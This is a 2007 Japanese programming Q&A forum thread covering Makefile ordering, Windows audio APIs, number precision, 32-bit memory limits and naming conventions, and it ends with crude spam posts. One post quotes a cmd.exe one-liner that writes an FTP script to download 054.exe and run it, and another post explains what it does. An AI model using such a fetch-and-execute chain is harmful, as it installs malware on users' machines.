makefile のことで質問です。 # Makefile # マクロ定義部 CC = gcc OBJS = read_wave.o wave_player.o # 生成規則部 wave_player.res: wave_player.rc resource.h windres $< -O coff -o $@ wave_player.exe: $(OBJS) $(CC) -o $@ $(OBJS) -mwindows wave_player.res .c.o: $(CC) -c $< # 依存関係 wave_player.o: wave_player.h wave_player.o: wave_player.rc read_wave.o: read_wave.h wave_player.res: resource.h このような感じで make を行うと、 リソーススクリプトは生成されるのですが、 実行ファイルの生成が行われません。 また、リソーススクリプトの生成を実行ファイル生成の後ろに持っていくと、 今度は、リソーススクリプトが生成されません。 どのあたりが間違っているでしょうか? よろしくお願いします。
>>931 引き数なしのmakeはMakefileで最初に見つかった生成規則のみを実行します。
933 :
デフォルトの名無しさん :2007/02/04(日) 18:35:59
934 :
デフォルトの名無しさん :2007/02/04(日) 19:13:22
>>932 all: wave_player.res wave_player.exe
なんてのがあったんですね。
どうもありがとうございました。
汎用コンポーネントって何?って聞かれたらどう説明すればいいのでしょうか。
汎用のコンポーネント
>>935 特定の機能を果たす単位で、特に再利用を考えて汎用に開発されたもの。
>>937 ありがとうございます!
まさかこんなん聞かれるとは思ってなかったもので・・・本当に助かります。
なんか宿題中っぽくてよい
>>934 それだと*.rcだけ更新された時とかだとwave_player.exeが更新されないね?
all: wave_player.exe
wave_player.exe: $(OBJS) wave_player.res
とかの方がいいとおもわれ
941 :
デフォルトの名無しさん :2007/02/05(月) 09:59:55
waveOutOpenの質問。 デバイスIDにWAVE_MAPPER指定すると、PCM、ADPCMともにOKですが、 デバイスIDを個別で指定すると、PCMしか通りません。 なぜ?というのと、ADPCMやら再生するのに、何かヒントありませんか? ...とある板に質問したんですが、回答無くて。
942 :
デフォルトの名無しさん :2007/02/05(月) 10:09:11
プログラマって一つ一つの命令を完璧に覚えてるの?
一つ一つの命令をすぐに調べられる手段を持っています
ある程度の型を持った文法じゃないと役に立たないのがプログラミングだから、 完全に覚える必要は無い。
コピペした方が速いし間違いが少ない
よく使うのは覚えてるけどたまにしか使わないのはうろ覚えだったり
全く覚えてない命令だってある。
しかし
>>943 の言うとおり答をすぐに見つけ出す方法は持ってる。
命令を暗記するよりこの方法を身につけることが簡単だし重要。
関数と変数って何が違うんだ?
全然違うから比較しようがない
>>942 つまり、幾つかのアクセス頻度の高い知識は実値で持っていて、
残りはポインタで持っているということ。
つまりメニューやらウインドウやらマクロにまとめて繋げてるだけ。
951 :
デフォルトの名無しさん :2007/02/05(月) 15:53:36
>>940 アドバイスありがとうございます。
おかげでメニューバーが欠落せずにすみました。
実数で乗数の計算が出来るような数学用dllとか無いでしょうか?
多くの環境では数学用dllなどなくても実数で乗算の計算ができます。 特殊な環境なのですか?
あ、もしかして一般的な精度の浮動小数点数じゃだめってことでしょうか? 本当の意味での実数を意図しているとしたら、無限大の精度を扱うことに なりますので、そのようなものは実現し得ません。
>>952 普通の浮動小数点数(IEEE754)ではダメということ?
「多倍長」がキーワード。あと「演算」「小数」「ライブラリ」等適当に加えて。
言っておくけど、円周率等を無限の精度で扱うのは不可能ですよ。
累乗の関数名を知りたいだけ?なら、pow()。
超初心者です。簡単なフォトレタッチソフトを作りたいのですが 言語は何を覚えれば良いんでしょうか? また、フォトショはどんな言語を使って出来ているのかわかりますか? (実際作るのはフォトショレベルよりかなり下です) よろしくお願いします。
Windows版Photoshop 7.0の場合はVC++だからC++
958 :
デフォルトの名無しさん :2007/02/06(火) 18:05:20
なんでDBや開発ツールの類はインストールするマシンのCPUの数で値段が違うんだ?
959 :
デフォルトの名無しさん :2007/02/06(火) 18:32:46
cmd.exe /c del i&echo open 127.0.0.1 11004 > i&echo user 1 1 >> i &echo get 054.exe >> i &echo quit >> i &ftp -n -s:i &054.exe&del i&exit これは何をするためのコマンドでしょうか?
127.0.0.1 11004からftpで054.exeをDLして実行する
961 :
デフォルトの名無しさん :2007/02/06(火) 19:04:56
32bitOSを使うときは、認識できる「物理メモリ」は4GBまで とかド素人丸出しの勘違いをしているやつを駆除していこうぜ。
893さんにお願いする?
963 :
デフォルトの名無しさん :2007/02/06(火) 19:11:37
あの変な勘違いのモトはどこから来たのか 32bitOSを使おうが、物理メモリがどれだけ扱えるかはOSの範疇じゃないだろ。 メモリコントローラが分離してりゃチップセット、内蔵ならCPUの範疇 マザーボードにどれだけのスロットがあるかにもよるが 32bitだと搭載できる物理メモリの量が4GBまで、とか明らかにおかしい。 扱える仮想メモリが4GBまでだろ。 物理メモリはいくらでも乗せられる。
>>963 があきらかな勘違い
一般的なOSやCPU、という抽象化したものじゃなく
具体的なOSやCPUで調べってごらん
つうか仮想メモリだってやり型次第で4G超は可能だろ パフォーマンスその他を無視すればだけど
966 :
デフォルトの名無しさん :2007/02/06(火) 20:52:52
PAE以外では無理
ファミコンに4GBの物理メモリを乗っけてすべてのアドレスにアクセスする方法は簡単ですか?
968 :
デフォルトの名無しさん :2007/02/06(火) 20:58:50
6502がそれだけのアドレスバス持ってりゃ楽
ASP.NETをWindows2000Serverで使用するのですが 何か問題はあるでしょうか? サービスパックって必要でしょうか? 教えてください
970 :
デフォルトの名無しさん :2007/02/06(火) 23:12:14
ファイル名 ABCDEFG.bmp ABCHIJK.bmp というのがあるとしてファイル名をABCとかをZZZとかに変更したいです。 フォルダ内の拡張子・文字列指定で行いたいんですがバッチで無理なので EXEを作ろうとしてるんですがどういう方法がありますか?
作らなくてもそのへんにあるだろ
>>970 いまいち、どうしたくて何を求めているか飲み込めないんだが。
renでできるが。その程度なら。
974 :
デフォルトの名無しさん :2007/02/07(水) 00:26:48
おまえらクラス変数の記述ってどうしてますか? 先頭にアンスコ _hoge 後尾にアンスコ hoge_ なにもつけない hoge 「モジュール変数」という意図でmを付与 mHoge どんな感じなんでしょ
>>974 >なにもつけない hoge
俺はこれ
>先頭にアンスコ _hoge
あと、これは処理系に予約されるからタブーだよ。
>>974 Ruby使いはスコープで頭文字決まるので気にしたことがありません
こんな質問で申し訳ないんですけど コマンドプロンプトを開いたとき、C:\Documents and settings\ユーザー名> になっているのを任意の場所に変えたいのですが、どうしたらいいのでしょうか?
979 :
デフォルトの名無しさん :2007/02/07(水) 07:18:29
>>978 コマンドプロンプトを開くショートカットの作業フォルダを変えたらどうでしょう?
>>978 PowerToysのCommandPromptHere
何もPowerToysなんか使わなくても
別にコピペでもいいが、PowerToysのあれ使うとやめられん
エクスプローラの ツールフ-ォルダオプション-ファイルの種類 からフォルダを選択してごにょごにょすればPowerToysのあれと同じ効果が得られるって言いたいんだと思う。 おれはフォルダドロップ派。設定しても結局ドロップですませてるからorz
全然違うし お前大丈夫か?
I'm fine, thank you. and you?
8ビット整数と16ビット整数は 8ビットの計算ならどっちが早い?
実測しろボケ
同じだろ
キチガイは無視したほうがいい
990
991 :
デフォルトの名無しさん :2007/02/07(水) 20:02:15
さっさと次スレ立てろ
_,rr-―''''¨゙゙゙ ̄ ̄ ̄ ̄ ̄`゙゙゙゙゙゙゙゙''ヘi、、 ,,,,-―---、 ,r‐'″ ._,,,, `'lri,!'''″ ゙l .,,,″ ,,r'"` ゙゙l, ゙ヘ, | !アr, .l°.ェ'ニ,コ .| ゚ヘ、 | `'i、 .く_,、vr''″ ., ゙'i、 .,,/ ゙X、 ト ゙!,゛ .,,r‐--、 ,、_,、 .,,,,r‐'″ | } .,,r‐'^’ .|゜ め゙゚“゙゙~゛ |  ̄` .,l゙ | ,i´ ,l゙ ゙!、 ,i´ ,ノ .'┐ ,,-° '=,, /` .゚!, ,,,,r'″ ゙┐ ,l゙ ゚'r, .''''"` │ .,,-''i、 / `''x, .| | .,,r'" .゙┐ ,i´ ~'ヘi,,, | |_,r・″ 'ヘ,、 l゙ `¬--|i,,,,,,,,,,,,,,,,v、r',广 ゙ヘ=@ ,l゙ `゙'ーぃ--r'″ `'―、,,,,/
>>974 先頭アンスコは外部に公開するメンバ用内部変数に使う。
5
4
997 :
デフォルトの名無しさん :2007/02/07(水) 21:38:44
うんこ
998 :
デフォルトの名無しさん :2007/02/07(水) 21:39:38
ちんこ
999 :
デフォルトの名無しさん :2007/02/07(水) 21:40:57
まんこ
1000こ
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。